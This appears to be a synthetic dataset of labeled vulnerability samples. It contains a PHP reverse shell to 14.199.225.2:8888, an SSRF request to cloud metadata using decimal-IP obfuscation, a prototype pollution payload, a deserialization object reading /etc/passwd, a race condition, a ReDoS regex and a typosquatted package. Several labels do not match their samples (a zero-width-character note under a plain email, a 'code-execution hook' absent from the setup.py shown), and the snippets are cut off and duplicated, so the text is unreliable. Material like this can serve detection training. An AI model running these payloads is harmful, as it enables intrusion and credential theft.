# Vulnerability Assessment
# Application: admin-dashboard
# Date: 2025-09-20T17:33:02Z
# Payload:

// Express.js middleware
app.put("/api/user/settings", (req, res) => {
    const settings = req.body;
    // Deep merge user settings - VULNERABLE
    Object.assign(user, settings);
    // Attacker sends: {{"__proto__": {{"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}}}

Uploader: Elizabeth Garcia
Details:
Subject: Quarterly Report

Hi team,

Please find the quarterly report attached.

Best regards,
Oscar Ali

Explanation: Contains evidence of zero-width Unicode characters used to hide data within text.

# Captured from network traffic - pcap analysis
# Source: 14.199.225.2:8888
# Destination: staging-web:80

php -r '$sock=fsockopen("14.199.225.2",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

Explanation: Contains a reverse shell payload found in a network capture. This represents active exploitation or post-exploitation activity, enabling an attacker to execute arbitrary commands, maintain persistent access, or establish covert communication channels with a command-and-control server.

<?php
class FileHandler {{
    public $filename;
    public function __destruct() {{
        if (file_exists($this->filename)) {{

// Attacker sends serialized object:
// O:11:"FileHandler":1:{{s:8:"filename";s:11:"/etc/passwd";}}

Explanation: Contains insecure deserialization code in PHP. Deserializing untrusted data can allow an attacker to instantiate arbitrary objects and execute gadget chains, leading to remote code execution, file manipulation, or denial of service.

[2025-06-09T13:44:54Z] IDS ALERT: Attack detected from 241.15.217.254
Signature: PATH-TRAVERSAL-002
Payload:
# Race condition: TOCTOU (Time-of-Check-Time-of-Use)
# Thread 1: Check balance -> $1000 -> Withdraw $800 -> Balance: $200
# Thread 2: Check balance -> $1000 -> Withdraw $800 -> Balance: $200
# Result: $1600 withdrawn from $1000 balance

async function withdraw(userId, amount) {{
    const balance = await db.getBalance(userId);  // Check
    if (balance >= amount) {{
        await db.deductBalance(userId, amount);     // Use
        await transfer(amount);
    }}

GET /proxy?url=http://2852039166/latest/meta-data/ HTTP/1.1
Host: secureadmin.xyz
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15

Explanation: Contains a SSRF with decimal IP obfuscation to bypass URL filters found in a proxy request. Server-Side Request Forgery allows an attacker to make the server issue requests to internal resources, potentially accessing cloud credentials, internal services, or sensitive configuration data that is not directly accessible from outside the network.


// Regex config for content filtering
{
  "rules": [
    {
      "name": "url_check",
      "pattern": "(a+)+$",

    }
  ]
}

// This pattern causes exponential backtracking with input: aaaaaaaaaaaaaaaaaaaaaaaaaaa!

Explanation: Contains a regular expression vulnerable to catastrophic backtracking (nested quantifier) in regex config file. An attacker can supply crafted input that causes the regex engine to enter exponential-time matching, consuming excessive CPU and leading to denial of service.

setup(
    name="reqests",
    version="0.0.0",
)

Explanation: Contains a malicious Python package 'reqests' with a code-execution hook in setup.py. Supply chain attacks inject malicious code into trusted software distribution channels, executing arbitrary commands during package installation, potentially compromising developer machines and CI/CD pipelines.

    }
  ]
}

// This pattern causes exponential backtracking with input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Explanation: Contains a regular expression vulnerable to catastrophic backtracking (nested quantifier without anchor) in regex config file.
